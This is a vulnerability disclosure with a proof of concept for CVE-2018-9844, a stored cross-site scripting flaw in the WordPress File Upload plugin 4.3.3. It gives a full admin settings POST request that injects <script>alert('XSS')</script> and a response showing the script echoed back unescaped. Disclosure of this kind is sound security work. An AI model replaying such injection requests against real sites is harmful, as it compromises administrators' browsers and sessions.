WordPress Plugin File Upload 4.3.3 - Stored Cross-Site Scripting (PoC)

# Exploit Title: WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS
# Date: 06/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iptanus.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip
# Version: 4.3.3
# Tested on: Windows 7 / Cent OS 6.5
# CVE : CVE-2018-9844
# Category : Webapps

Description
===========
WordPress File Upload is a WordPress plugin with more than 20.000 active
installations.
Version 4.3.3 (and possibly previous versions) are affected by a Stored XSS
vulnerability in the admin panel ,related to the "Edit_Setting"
functionality.


PoC
===============
Request:

POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings
HTTP/1.1
Host: 192.168.1.66
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.66/wp-admin/options-general.php?page=
wordpress_file_upload&action=plugin_settings
Content-Type: multipart/form-data; boundary=---------------------
------27678165033834
Content-Length: 906
Cookie: wordpress_ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7Ca3c7a75afaaf9ce1db3596b8aa83
3adeb337f313ef5156fbf93096c1af0cdbbc; wp-settings-1=libraryContent%3Dbrowse;
wp-settings-time-1=1522504284; PHPSESSID=o6smfv1u6p8rh7cu7v7gl9lm47;
wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_
ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7C1993c93121805782b8bee82cd013
6f1a6aa286d4294ed58cb6f95539acdfe5d5
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------27678165033834
Content-Disposition: form-data; name="_wpnonce"

c9d5733e36
-----------------------------27678165033834
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/options-general.php?page=wordpress_file_upload&
action=plugin_settings
-----------------------------27678165033834
Content-Disposition: form-data; name="action"

edit_settings
-----------------------------27678165033834
Content-Disposition: form-data; name="wfu_basedir"

<script>alert('XSS')</script>
-----------------------------27678165033834
Content-Disposition: form-data; name="wfu_postmethod"

fopen
-----------------------------27678165033834
Content-Disposition: form-data; name="wfu_admindomain"

siteurl
-----------------------------27678165033834
Content-Disposition: form-data; name="submitform"

Update
-----------------------------27678165033834--

Response:

HTTP/1.1 200 OK
Date: Thu, 05 Apr 2018 18:15:01 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Referrer-Policy: same-origin
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28623
...

<input name="wfu_basedir" id="wfu_basedir" type="text"
value="<script>alert('XSS')</script>" />
<p style="cursor: text; font-size:9px; padding: 0px; margin: 0px; width:
95%; color: #AAAAAA;">Current value: <strong><script>alert('XSS')</
script></strong></p>
...


References
===============
https://www.iptanus.com/new-version-4-3-4-of-wordpress-file-upload-plugin/
https://wordpress.org/plugins/wp-file-upload/#developers
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9844